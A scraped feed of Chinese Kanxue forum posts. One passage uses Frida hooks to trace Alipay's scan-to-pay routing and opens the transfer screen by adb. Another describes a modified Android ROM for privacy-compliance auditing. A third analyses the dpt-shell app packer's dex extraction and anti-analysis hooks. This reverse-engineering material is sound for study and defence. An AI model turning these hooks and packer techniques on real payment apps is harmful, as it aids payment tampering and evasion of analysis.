function(maScanResult, dataTransChannel) { console.log( \\"\\\\n[*] by 实现类的 a 方法被调用\\" ); if (maScanResult ! = null) { console.log( \\"[*] 扫描结果:\\" , maScanResult.text.value); } return this.a(maScanResult, dataTransChannel); }; } }, onComplete: function() {} }); |
输出结果:
\\n1 2 3 4 5 6 7 8 9 10 11 12 | [ * ] NScanTopView.b 被调用 [ * ] c 字段实现类: com.alipay.mobile.scan.as.main.MainCaptureActivity MainCaptureActivity.a is called: maScanResult = com.alipay.mobile.mascanengine.MaScanResult@ 80f5308 , dataTransChannel = DataTransChannel{isFromAlbum = false, albumImagePath = \'null\' , scanCode = \'null\' , payLinkToken = \'null\' , controlType = \'camera\' , isFromRoute = false, isCache = false, bizType = \'null\' , custProgressDialog = com.alipay.mobile.scan.ui2.NBluePointView{a02faa1 I.E...... ......I. 0 , 0 - 1080 , 2028 }} MainCaptureActivity.a result = true [ * ] BaseScanTopView.p 被调用 [ * ] c 字段值类型: com.alipay.mobile.scan.as.main.MainCaptureActivity [ * ] 找到 by 接口实现类: com.alipay.mobile.scan.as.main.MainCaptureActivity [ * ] BaseScanTopView.q 被调用 [ * ] c 字段值类型: com.alipay.mobile.scan.as.main.MainCaptureActivity [ * ] 找到 by 接口实现类: com.alipay.mobile.scan.as.main.MainCaptureActivity |
然后去查看了 com.alipay.mobile.scan.as.main.MainCaptureActivity 这个类的 a 方法实现过程:
\\n1 2 3 4 5 6 7 8 9 10 11 12 | public final boolean a(com.alipay.mobile.mascanengine.MaScanResult r17, com.alipay.mobile.scan.util.DataTransChannel r18) { / * r16 = this; r1 = r16 ………………………… ………………………… ………………………… boolean r0 = r2.a(r3, r4, r5, r6, r7, r8) * / } |
因为无法正常编译成java代码,并且很长,一如既往的让AI帮我分析,AI得出结果这个方法是一个判断扫描结果类型,进行路由分发的
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | / / 判断不同的扫码类型 com.alipay.mobile.mascanengine.MaScanType r3 = com.alipay.mobile.mascanengine.MaScanType.PRODUCT com.alipay.mobile.mascanengine.MaScanType r11 = r2. type if (r3 = = r11) goto Ldb / / 商品条码 / / ... 其他类型判断 com.alipay.mobile.mascanengine.MaScanType r3 = com.alipay.mobile.mascanengine.MaScanType.QR / / 二维码 / / 二维码处理 if (r3 = = r11) goto Lc3 / / QR类型 r10.put(r9, r3) / / 存储扫描文本 / / 处理隐藏数据 if (!TextUtils.isEmpty(r2.hiddenData)) { r10.put( \\"hiddenData\\" , r2.hiddenData) } / / 收集扫描性能数据 r0.put( \\"totalTime\\" , r8) r0.put( \\"scanTime\\" , r8) r0.put( \\"realTime\\" , r8) com.alipay.phone.scancode.y.a r0 = r1.d / / ... 参数准备 boolean r0 = r2.a(r3, r4, r5, r6, r7, r8) / / 调用实际的业务处理方法 |
然后在这个混淆的方法里面,找到了关键类
com.alipay.phone.scancode.y.a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | let ScanCodeHandler = Java.use( \\"com.alipay.phone.scancode.y.a\\" ); ScanCodeHandler.a.overload( \'java.lang.String\' , \'java.util.Map\' , \'java.lang.String\' , \'java.lang.String\' , \'com.alipay.mobile.scan.util.DataTransChannel\' , \'java.lang.String\' ).implementation = function(str1, map , str2, str3, channel, str4) { console.log( \\"\\\\n[*] 扫码业务处理被调用\\" ); console.log( \\"[*] 扫描类型:\\" , str1); console.log( \\"[*] 扫描内容:\\" , str3); let result = this.a(str1, map , str2, str3, channel, str4); console.log( \\"[*] 处理结果:\\" , result); return result; }; [ * ] 扫码业务处理被调用 [ * ] 扫描类型: qrCode [ * ] 扫描内容: https: / / qr.alipay.com / fkx17 * * * * * * 0 ?t = 1733900000000 [ * ] 处理结果: true MainCaptureActivity.a result = true |
最后跟踪进 a 方法里面的实现过程(发现也是无法正常编译的java代码)
这个函数的过程作用大致如下:
1、初始化参数处理
2、检查是否由路由传过来的参数
3、检查是否支持离线支付
4、处理路由
5、缓存处理
6、记录支付行为
最后,hook了这个方法里面的相关涉及的类,得出hook代码以及输出结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | / / 1. Hook 主要的路由处理方法 let CodeRouter = Java.use( \\"com.alipay.phone.scancode.y.a\\" ); CodeRouter.a.overload( \'java.lang.String\' , \'java.util.Map\' , \'java.lang.String\' , \'java.lang.String\' , \'int\' , \'java.lang.String\' ) .implementation = function( type , map , sourceId, content, flag, token) { console.log( \\"\\\\n[*] 扫码支付路由被调用\\" ); console.log( \\"[*] 类型:\\" , type ); console.log( \\"[*] 内容:\\" , content); console.log( \\"[*] 来源ID:\\" , sourceId); console.log( \\"[*] Token:\\" , token); / / 打印 Map 参数 / / 2. Hook DataTransChannel try { let channel = this.D.value; if (channel ! = null) { console.log( \\"[*] DataTransChannel 信息:\\" ); console.log( \\" 是否来自相册:\\" , channel.f115683a.value); console.log( \\" 图片路径:\\" , channel.b.value); console.log( \\" 扫描内容:\\" , channel.c.value); console.log( \\" Channel类型:\\" , channel.e.value); / / 打印额外参数 if (channel.m ! = null) { let extraParams = channel.m.value; console.log( \\"[*] 额外参数:\\" ); let extraIterator = extraParams.entrySet().iterator(); while (extraIterator.hasNext()) { let entry = extraIterator. next (); console.log( \\" \\" , entry.getKey() + \\" = \\" + entry.getValue()); } } } } catch(e) { console.log( \\"[!] 获取Channel信息失败:\\" , e); } / / 3. Hook 离线支付检查 try { if (this.I ! = null) { let offlineHandler = this.I.value; let offlineResult = offlineHandler.a(content); if (offlineResult ! = null) { console.log( \\"[*] 离线支付信息:\\" ); console.log( \\" URI:\\" , offlineResult.f); console.log( \\" Method:\\" , offlineResult.g); console.log( \\" Type:\\" , offlineResult.d); } } } catch(e) { console.log( \\"[!] 获取离线支付信息失败:\\" , e); } / / 4. Hook RouteInfo 创建 try { let RouteInfo = Java.use( \\"com.alipay.mobile.scan.biz.RouteInfo\\" ); RouteInfo.$init.implementation = function() { console.log( \\"[*] 创建新的RouteInfo\\" ); return this.$init(); }; RouteInfo.setUri.implementation = function(uri) { console.log( \\"[*] 设置RouteInfo URI:\\" , uri); return this.setUri(uri); }; RouteInfo.setMethod.implementation = function(method) { console.log( \\"[*] 设置RouteInfo Method:\\" , method); return this.setMethod(method); }; } catch(e) { console.log( \\"[!] Hook RouteInfo失败:\\" , e); } / / 打印调用栈 console.log( \\"[*] 调用栈:\\" ); console.log(Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Exception\\" ).$new())); let result = this.a( type , map , sourceId, content, flag, token); console.log( \\"[*] 路由处理结果:\\" , result); return result; }; [ * ] 设置RouteInfo Method: native [ * ] 创建新的RouteInfo [ * ] 设置RouteInfo Method: native [ * ] 设置RouteInfo URI: alipays: / / platformapi / startapp?appId = 20001001 &bizType = UTP_QR_CODE&pageData = % 7B % 22tpl % 22 % * * * * * * * |
通过输出结果,发现最后会生成出路由URI,用于唤起支付界面的,尝试通过adb直接打开这个URI看看是否能直接跳转到转账界面。
\\nadb shell am start -a android.intent.action.VIEW -d \\"alipays://platformapi/startapp?appId=20001001&bizType=UTP_QR_CODE&pageData=省略参数\\"
\\n最后成功直接打开转账界面,由此分析出了整个扫码转账的执行环节。。
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n市面上的大部分的合规检测工具是使用Frida或Xposed等Hook框架进行Hook注入代码,通常会带来额外的性能开销,包括更高的延迟和资源消耗,Hook过程中的错误或与应用的不兼容可能导致应用崩溃或不稳定。直接修改AOSP源码能够实现对操作系统所有层级(包括内核、系统服务、框架等)的深度控制和集成,实现从底层到应用层的全面隐私合规检测,系统的稳定性和可靠性相对较高,不会因运行时的动态代码注入带来不确定性的问题。
\\n基于Android-10.0.0_r2版本源码进行的修改,并编译了适配Pixel 2 XL机型的镜像,具体改动位置和检测点如下表所示:
\\n序号 | \\n文件所在路径 | \\n监测内容 | \\n目标函数 | \\n
---|---|---|---|
1 | \\nframeworks/base/core/java/android/app/ApplicationPackageManager.java | \\n权限申请 | \\nint checkPermission(String permName, String pkgName) | \\n
2 | \\nframeworks/base/core/java/android/app/ApplicationPackageManager.java | \\n获取APP安装列表 | \\nList<PackageInfo> getInstalledPackages(int flags) | \\n
3 | \\nframeworks/base/core/java/android/app/ApplicationPackageManager.java | \\n获取APP安装列表 | \\nList<ApplicationInfo> getInstalledApplications(int flags) | \\n
4 | \\nframeworks/base/core/java/android/app/ActivityManager.java | \\n正在运行的进程 | \\nList<RunningAppProcessInfo> getRunningAppProcesses() | \\n
5 | \\nframeworks/base/core/java/android/app/ActivityManager.java | \\n正在运行的服务 | \\nPendingIntent getRunningServiceControlPanel(ComponentName service) | \\n
6 | \\nframeworks/base/core/java/android/app/admin/DevicePolicyManager.java | \\n获取Mac地址 | \\nString getWifiMacAddress(ComponentName admin) | \\n
7 | \\nframeworks/base/core/java/android/bluetooth/BluetoothAdapter.java | \\n获取蓝牙名称 | \\nString getName() | \\n
8 | \\nframeworks/base/core/java/android/bluetooth/BluetoothDevice.java | \\n获取蓝牙Mac地址 | \\nString getAddress() | \\n
9 | \\nframeworks/base/core/java/android/bluetooth/BluetoothDevice.java | \\n获取蓝牙名称 | \\nString getName() | \\n
10 | \\nframeworks/base/core/java/android/content/ClipboardManager.java | \\n获取剪切板信息 | \\nvoid setPrimaryClip(ClipData clip) | \\n
11 | \\nframeworks/base/core/java/android/content/ClipboardManager.java | \\n监测剪切板信息 | \\nboolean hasPrimaryClip() | \\n
12 | \\nframeworks/base/core/java/android/content/ClipboardManager.java | \\n设置剪切板信息 | \\nvoid setPrimaryClip(ClipData clip) | \\n
13 | \\nframeworks/base/core/java/android/content/Camera.java | \\n打开摄像头 | \\nCamera open(int cameraId) | \\n
14 | \\nframeworks/base/core/java/android/hardware/camera2/CameraManager.java | \\n打开摄像头 | \\nopenCameraDeviceUserAsync | \\n
15 | \\nframeworks/base/core/java/android/hardware/SensorManager.java | \\n获取传感器信息 | \\nList<Sensor> getSensorList(int type) | \\n
16 | \\nframeworks/base/core/java/android/os/Build.java | \\n获取设备序列号 | \\nString getSerial() | \\n
17 | \\nframeworks/base/core/java/android/provider/Settings.java | \\n获取Android_id | \\nString getString(ContentResolver resolver, String name) | \\n
18 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取IMEI | \\nString getDeviceId() | \\n
19 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取IMEI | \\nString getImei(int slotIndex) | \\n
20 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取MEID | \\nString getMeid(int slotIndex) | \\n
21 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取MCC/MNC | \\nString getNetworkOperatorName(int subId) | \\n
22 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取当前位置信息 | \\nCellLocation getCellLocation() | \\n
23 | \\nframeworks/base/location/java/android/location/Location.java | \\n获取纬度信息 | \\ndouble getLatitude() | \\n
24 | \\nframeworks/base/location/java/android/location/Location.java | \\n获取经度信息 | \\ndouble getLongitude() | \\n
25 | \\nframeworks/base/location/java/android/location/LocationManager.java | \\n获取最后已知位置 | \\nLocation getLastKnownLocation(@NonNull String provider) | \\n
26 | \\nframeworks/base/location/java/android/location/LocationManager.java | \\n获取最后已知位置 | \\nLocation getLastLocation() | \\n
27 | \\nframeworks/base/telephony/java/android/telephony/gsm/GsmCellLocation.java | \\n获取基站cid信息 | \\nint getCid() | \\n
28 | \\nframeworks/base/telephony/java/android/telephony/gsm/GsmCellLocation.java | \\n获取基站lac信息 | \\nint getLac() | \\n
29 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取SIM卡国际代码 | \\nString getSimCountryIsoForPhone(int phoneId) | \\n
30 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取IMSI/ICCID | \\nString getSimSerialNumber(int subId) | \\n
31 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取IMSI | \\nString getSubscriberId(int subId) | \\n
32 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取电话号码 | \\nString getLine1Number(int subId) | \\n
33 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n获取IMSI | \\nint getSubscriptionId() | \\n
34 | \\nframeworks/base/core/java/android/telephony/TelephonyManager.java | \\n检测sim卡是否可用 | \\nServiceState getServiceStateForSubscriber(int subId) | \\n
35 | \\nframeworks/base/core/java/android/os/SystemProperties.java | \\n获取系统属性 | \\nString get(@NonNull String key) | \\n
36 | \\nframeworks/base/core/java/android/os/SystemProperties.java | \\n设置系统属性 | \\nvoid set(@NonNull String key, @Nullable String val) | \\n
37 | \\nframeworks/base/wifi/java/android/net/wifi/WifiInfo.java | \\n获取附近Wifi列表 | \\nList<ScanResult> getScanResults() | \\n
38 | \\nframeworks/base/wifi/java/android/net/wifi/WifiInfo.java | \\n获取Mac地址 | \\nString[] getFactoryMacAddresses() | \\n
镜像下载地址: https://pan.baidu.com/s/1OPHZVtV94Z5Fj4Uot0sOeQ?pwd=kfza 提取码: kfza
\\n需要准备一台谷歌Pixel 2 XL型号的手机,下载提供的镜像进行刷机即可。
\\n1 2 3 4 5 6 7 8 9 10 11 | # 进入到bootloader模式 adb reboot bootloader # 设置环境变量,下载的镜像存储路径 export ANDROID_PRODUCT_OUT= \'/Users/xxxx/xxx/taimen_rom\' # 刷机 fastboot flashall -w # 如果刷机过程中,提示存储空间不够,可以指定刷机文件系统分区大小 fastboot flashall -S 50M -w |
直接打开系统中集成的”合规检测APP“ ,按着下图中的流程进行操作即可开始检测
保证电脑和手机处于同一局域网下,即手机和电脑连接同一个wifi,在电脑的浏览器中输入APP中网址:http://192.168.xxx.xxx:8080/
,即可看到检测结果
点击详情,即可查看具体的调用堆栈
计划会增加第三方SDK的识别和检测,同时增加更多功能比如采集频率的统计和新检测点,比如:模拟OAID的获取。(因为不是专职搞这个,更新频率可能会有点慢)
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n\\n\\n\\n\\n\\n\\n\\n","description":"简介 市面上的大部分的合规检测工具是使用Frida或Xposed等Hook框架进行Hook注入代码,通常会带来额外的性能开销,包括更高的延迟和资源消耗,Hook过程中的错误或与应用的不兼容可能导致应用崩溃或不稳定。直接修改AOSP源码能够实现对操作系统所有层级(包括内核、系统服务、框架等)的深度控制和集成,实现从底层到应用层的全面隐私合规检测,系统的稳定性和可靠性相对较高,不会因运行时的动态代码注入带来不确定性的问题。\\n\\n检测项\\n\\n基于Android-10.0.0_r2版本源码进行的修改,并编译了适配Pixel 2 XL机型的镜像…","guid":"https://bbs.kanxue.com/thread-284759.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-12-11T11:18:53.221Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202412/452101_AWMEK5DQ5CDWU4V.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/452101_A8JXFNRYBMUEEQU.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/452101_U23Y5AG3897VNJY.webp","type":"photo","width":0,"height":0,"blurhash":""}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]dpt-shell源码详细解析(v1.11.3)","url":"https://bbs.kanxue.com/thread-284744.htm","content":"\\n\\ndpt-shell自22年以来进行了不少的调整,本文试对v1.11.3版的dpt-shell进行源码分析,补充作者在HowItWorks中未撰写出来的部分并作积累。
\\n简而言之,dpt-shell可以分为两个模块,一个是Processeor模块,用于对原app进行指令抽空并构建新app;另一个是shell模块,用于在app运行时回填指令,顺利执行app的代码。以下是对这两个模块的详细分析
\\n入口点在src\\\\main\\\\java\\\\com\\\\luoye\\\\dpt\\\\Dpt.java,解析用户的运行参数后进入apk.protect()进行抽取
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | private static void process(Apk apk){ if (! new File( \\"shell-files\\" ).exists()) { LogUtils.error( \\"Cannot find shell files!\\" ); return ; } File apkFile = new File(apk.getFilePath()); if (!apkFile.exists()){ LogUtils.error( \\"Apk not exists!\\" ); return ; } //apk extract path String apkMainProcessPath = apk.getWorkspaceDir().getAbsolutePath(); LogUtils.info( \\"Apk main process path: \\" + apkMainProcessPath); ZipUtils.unZip(apk.getFilePath(),apkMainProcessPath); String packageName = ManifestUtils.getPackageName(apkMainProcessPath + File.separator + \\"AndroidManifest.xml\\" ); apk.setPackageName(packageName); // 1. 指令抽空 apk.extractDexCode(apkMainProcessPath); // 2. AMF的处理 apk.saveApplicationName(apkMainProcessPath); // 保存原始ApplicationName到assets/app_name apk.writeProxyAppName(apkMainProcessPath); // 写入代理ApplicationName if (apk.isAppComponentFactory()){ apk.saveAppComponentFactory(apkMainProcessPath); // 保存原始AppComponentFactory到assets/app_acf apk.writeProxyComponentFactoryName(apkMainProcessPath); // 写入代理AppComponentFactory } if (apk.isDebuggable()) { LogUtils.info( \\"Make apk debuggable.\\" ); apk.setDebuggable(apkMainProcessPath, true ); } apk.setExtractNativeLibs(apkMainProcessPath); apk.addJunkCodeDex(apkMainProcessPath); // 3. 压缩源dex到新的路径并删除旧的路径 apk.compressDexFiles(apkMainProcessPath); // 源dex压缩存放到assets/i11111i111.zip apk.deleteAllDexFiles(apkMainProcessPath); // 4. 合并壳dex和原dex apk.combineDexZipWithShellDex(apkMainProcessPath); // 5. 复制壳的so文件,加密so文件 apk.copyNativeLibs(apkMainProcessPath); // 复制壳的so文件 apk.encryptSoFiles(apkMainProcessPath); // 6. 构建apk apk.buildApk(apkFile.getAbsolutePath(),apkMainProcessPath, FileUtils.getExecutablePath()); File apkMainProcessFile = new File(apkMainProcessPath); if (apkMainProcessFile.exists()) { FileUtils.deleteRecurse(apkMainProcessFile); } LogUtils.info( \\"All done.\\" ); } public void protect() { process( this ); } |
extractDexCode:调用DexUtils.extractAllMethods获取List<Instruction> ret,最后将每个方法的字节码信息写入到assets/OoooooOooo
文件
extractAllMethods:解析Dex文件的结构体,获取directMethods,virtualMethods,调用extractMethod来进行patch
\\nextractMethod:一边用byteCode保存原字节码,一边用outRandomAccessFile.writeShort(0)写入nop
\\n下面主要贴一下extractDexCode的源码好了
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | private void extractDexCode(String apkOutDir){ List<File> dexFiles = getDexFiles(apkOutDir); Map<Integer,List<Instruction>> instructionMap = new HashMap<>(); String appNameNew = \\"OoooooOooo\\" ; String dataOutputPath = getOutAssetsDir(apkOutDir).getAbsolutePath() + File.separator + appNameNew; CountDownLatch countDownLatch = new CountDownLatch(dexFiles.size()); for (File dexFile : dexFiles) { ThreadPool.getInstance().execute(() -> { final int dexNo = getDexNumber(dexFile.getName()); if (dexNo < 0){ return ; } String extractedDexName = dexFile.getName().endsWith( \\".dex\\" ) ? dexFile.getName().replaceAll( \\"\\\\\\\\.dex$\\" , \\"_extracted.dat\\" ) : \\"_extracted.dat\\" ; File extractedDexFile = new File(dexFile.getParent(), extractedDexName); List<Instruction> ret = DexUtils.extractAllMethods(dexFile, extractedDexFile, getPackageName(), isDumpCode()); instructionMap.put(dexNo,ret); File dexFileRightHashes = new File(dexFile.getParent(),FileUtils.getNewFileSuffix(dexFile.getName(), \\"dat\\" )); DexUtils.writeHashes(extractedDexFile,dexFileRightHashes); dexFile. delete (); extractedDexFile. delete (); dexFileRightHashes.renameTo(dexFile); countDownLatch.countDown(); }); } ThreadPool.getInstance().shutdown(); try { countDownLatch.await(); } catch (Exception ignored){ } MultiDexCode multiDexCode = MultiDexCodeUtils.makeMultiDexCode(instructionMap); MultiDexCodeUtils.writeMultiDexCode(dataOutputPath,multiDexCode); } |
主要是保存了一下源ApplicationName和AppComponentFactory,后续壳加载的时候用
\\n此外修改了程序的AMF.xml,替换为代理ApplicationName和代理AppComponentFactory
\\n源dex压缩存放到assets/i11111i111.zip
\\ncombineDexZipWithShellDex:将壳文件添加到dex,并修复size、sha1、checksum
\\ncopyNativeLibs这里就没啥好说的,直接添加(shell-files/libs → assets/vwwwwwvwww)
\\nencryptSoFiles这块对比于初始版本是新添加的功能:
\\nncWK&S5wbqU%IX6j
,在com\\\\luoye\\\\dpt\\\\Const.java定义zipalign,对zip进行对齐
\\n对APK进行签名,assets/dpt.jks
\\nsignApkDebug
\\nsignApk,调用command来实现
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | private static boolean signApk(String apkPath, String keyStorePath, String signedApkPath, String keyAlias, String storePassword, String KeyPassword) { ArrayList<String> commandList = new ArrayList<>(); commandList.add( \\"sign\\" ); commandList.add( \\"--ks\\" ); commandList.add(keyStorePath); commandList.add( \\"--ks-key-alias\\" ); commandList.add(keyAlias); commandList.add( \\"--ks-pass\\" ); commandList.add( \\"pass:\\" + storePassword); commandList.add( \\"--key-pass\\" ); commandList.add( \\"pass:\\" + KeyPassword); commandList.add( \\"--out\\" ); commandList.add(signedApkPath); commandList.add( \\"--v1-signing-enabled\\" ); commandList.add( \\"true\\" ); commandList.add( \\"--v2-signing-enabled\\" ); commandList.add( \\"true\\" ); commandList.add( \\"--v3-signing-enabled\\" ); commandList.add( \\"true\\" ); commandList.add(apkPath); int size = commandList.size(); String[] commandArray = new String[size]; commandArray = commandList.toArray(commandArray); try { ApkSignerTool.main(commandArray); } catch (Exception e) { e.printStackTrace(); return false ; } return true ; } |
完成!
\\n这里的逻辑也会初始版本发生了一些变化,直接分析当前版本的
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | @Override protected void attachBaseContext(Context base) { super .attachBaseContext(base); // 先调用父类的attachBaseContext Log.d(TAG, \\"dpt attachBaseContext classloader = \\" + base.getClassLoader()); realApplicationName = FileUtils.readAppName( this ); if (!Global.sIsReplacedClassLoader) { ApplicationInfo applicationInfo = base.getApplicationInfo(); if (applicationInfo == null ) { throw new NullPointerException( \\"application info is null\\" ); } FileUtils.unzipLibs(applicationInfo.sourceDir,applicationInfo.dataDir); JniBridge.loadShellLibs(applicationInfo.dataDir,applicationInfo.sourceDir); Log.d(TAG, \\"ProxyApplication init\\" ); JniBridge.ia(); ClassLoader targetClassLoader = base.getClassLoader(); JniBridge.cbde(targetClassLoader); Global.sIsReplacedClassLoader = true ; } } |
JniBridge.loadShellLibs(applicationInfo.dataDir,applicationInfo.sourceDir)
\\nJniBridge.ia():init_app
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | DPT_ENCRYPT void init_app(JNIEnv *env, jclass __unused) { DLOGD( \\"init_app!\\" ); clock_t start = clock(); void *apk_addr = nullptr; size_t apk_size = 0 ; load_apk(env,&apk_addr,&apk_size); uint64_t entry_size = 0 ; if (codeItemFilePtr == nullptr) { read_zip_file_entry(apk_addr,apk_size,CODE_ITEM_NAME_IN_ZIP,&codeItemFilePtr,&entry_size); } else { DLOGD( \\"no need read codeitem from zip\\" ); } readCodeItem((uint8_t *)codeItemFilePtr,entry_size); pthread_mutex_lock(&g_write_dexes_mutex); extractDexesInNeeded(env,apk_addr,apk_size); pthread_mutex_unlock(&g_write_dexes_mutex); unload_apk(apk_addr,apk_size); printTime( \\"read apk data took =\\" , start); } |
JniBridge.cbde:combineDexElements,动态合并新的dex
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | DPT_ENCRYPT void combineDexElement(JNIEnv* env, jclass __unused, jobject targetClassLoader, const char * pathChs) { jobjectArray extraDexElements = makePathElements(env,pathChs); dalvik_system_BaseDexClassLoader targetBaseDexClassLoader(env,targetClassLoader); jobject originDexPathListObj = targetBaseDexClassLoader.getPathList(); dalvik_system_DexPathList targetDexPathList(env,originDexPathListObj); jobjectArray originDexElements = targetDexPathList.getDexElements(); jsize extraSize = env->GetArrayLength(extraDexElements); jsize originSize = env->GetArrayLength(originDexElements); dalvik_system_DexPathList::Element element(env, nullptr); jclass ElementClass = element.getClass(); jobjectArray newDexElements = env->NewObjectArray(originSize + extraSize,ElementClass, nullptr); for ( int i = 0;i < originSize;i++) { jobject elementObj = env->GetObjectArrayElement(originDexElements, i); env->SetObjectArrayElement(newDexElements,i,elementObj); } for ( int i = originSize;i < originSize + extraSize;i++) { jobject elementObj = env->GetObjectArrayElement(extraDexElements, i - originSize); env->SetObjectArrayElement(newDexElements,i,elementObj); } targetDexPathList.setDexElements(newDexElements); DLOGD( \\"combineDexElement success\\" ); } |
先调用父类的onCreate,后面主要看replaceApplication,同样发生在native层
\\n1 2 3 4 5 6 7 8 9 10 | private void replaceApplication() { if (Global.sNeedCalledApplication && !TextUtils.isEmpty(realApplicationName)) { realApplication = (Application) JniBridge.ra(realApplicationName); Log.d(TAG, \\"applicationExchange: \\" + realApplicationName+ \\" realApplication=\\" +realApplication.getClass().getName()); JniBridge.craa(getApplicationContext(), realApplicationName); JniBridge.craoc(realApplicationName); Global.sNeedCalledApplication = false ; } } |
JniBridge.ra:replaceApplication,主要实例化了一个application,执行replaceApplicationOnLoadedApk和replaceApplicationOnActivityThread来替换这个实例
\\nreplaceApplicationOnLoadedApk
\\nActivityThread
(负责管理应用程序的生命周期和组件加载)中BoundApplication的appBindData(这里还是在为LoadedApk
的makeapplication做准备,而不是替换ActivityThread
的初始实例)LoadedApk
(APK文件在内存中的表示)中的ApplicationInfoloadedApk.makeApplication(JNI_FALSE,nullptr)
来初始化真实程序的application1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | DPT_ENCRYPT void replaceApplicationOnLoadedApk(JNIEnv *env, jclass __unused,jobject realApplication) { android_app_ActivityThread activityThread(env); jobject mBoundApplicationObj = activityThread.getBoundApplication(); // 获取 BoundApplication 对象 android_app_ActivityThread::AppBindData appBindData(env,mBoundApplicationObj); jobject loadedApkObj = appBindData.getInfo(); android_app_LoadedApk loadedApk(env,loadedApkObj); // LoadedApk对象是APK文件在内存中的表示 //make it null loadedApk.setApplication(nullptr); // 以便可以替换为新的 Application 对象。 jobject mAllApplicationsObj = activityThread.getAllApplication(); java_util_ArrayList arrayList(env,mAllApplicationsObj); jobject removed = (jobject)arrayList. remove (0); // 移除原来的 Application 对象。 if (removed != nullptr){ DLOGD( \\"replaceApplicationOnLoadedApk proxy application removed\\" ); } jobject ApplicationInfoObj = loadedApk.getApplicationInfo(); // 获取 ApplicationInfo 对象。 android_content_pm_ApplicationInfo applicationInfo(env,ApplicationInfoObj); char applicationName[128] = {0}; getClassName(env,realApplication,applicationName, ARRAY_LENGTH(applicationName)); // 获取真实 Application 对象的类名 DLOGD( \\"applicationName = %s\\" ,applicationName); char realApplicationNameChs[128] = {0}; parseClassName(applicationName,realApplicationNameChs); // 前面获取了类名了,现在解析类 jstring realApplicationName = env->NewStringUTF(realApplicationNameChs); auto realApplicationNameGlobal = (jstring)env->NewGlobalRef(realApplicationName); android_content_pm_ApplicationInfo appInfo(env,appBindData.getAppInfo()); //replace class name 替换类名 applicationInfo.setClassName(realApplicationNameGlobal); appInfo.setClassName(realApplicationNameGlobal); DLOGD( \\"replaceApplicationOnLoadedApk begin makeApplication!\\" ); // call make application loadedApk.makeApplication(JNI_FALSE,nullptr); DLOGD( \\"replaceApplicationOnLoadedApk success!\\" ); } |
replaceApplicationOnActivityThread
\\nActivityThread
的初始 Application
实例为 realApplication
1 2 3 4 5 | DPT_ENCRYPT void replaceApplicationOnActivityThread(JNIEnv *env,jclass __unused, jobject realApplication){ android_app_ActivityThread activityThread(env); activityThread.setInitialApplication(realApplication); DLOGD( \\"replaceApplicationOnActivityThread success\\" ); } |
这里做个区分:
\\nAppBindData
中的 ApplicationInfo
类名,是为了保证 LoadedApk
在将来某一时刻需要重新实例化 Application
时,能够使用新的 Application
类。setInitialApplication
是为了立即替换 ActivityThread
的 Application
引用,保证当前应用主线程能够立即使用新的 Application
实例。JniBridge.craa:callRealApplicationAttach
\\nJniBridge.craoc:callRealApplicationOnCreate
\\n壳的so文件在init_array中优先调用
\\n1 2 3 4 5 6 7 8 9 10 11 12 | //dpt.h INIT_ARRAY_SECTION void init_dpt(); // dpt.cpp void init_dpt() { decrypt_bitcode(); DLOGI( \\"init_dpt call!\\" ); dpt_hook(); createAntiRiskProcess(); } |
decrypt_bitcode
\\ndpt_hook
\\n函数路径位于src\\\\main\\\\cpp\\\\dpt_hook.cpp
\\nhook libc.so的execve
\\n字符串子串匹配dex2oat,禁用dex2oat
\\n1 2 3 4 5 6 7 8 9 10 | DPT_ENCRYPT int fake_execve( const char *pathname, char * const argv[], char * const envp[]) { BYTEHOOK_STACK_SCOPE(); DLOGW( \\"execve hooked: %s\\" , pathname); if ( strstr (pathname, \\"dex2oat\\" ) != nullptr) { DLOGW( \\"execve blocked: %s\\" , pathname); errno = EACCES; return -1; } return BYTEHOOK_CALL_PREV(fake_execve, pathname, argv, envp); } |
hook libc.so的mmap
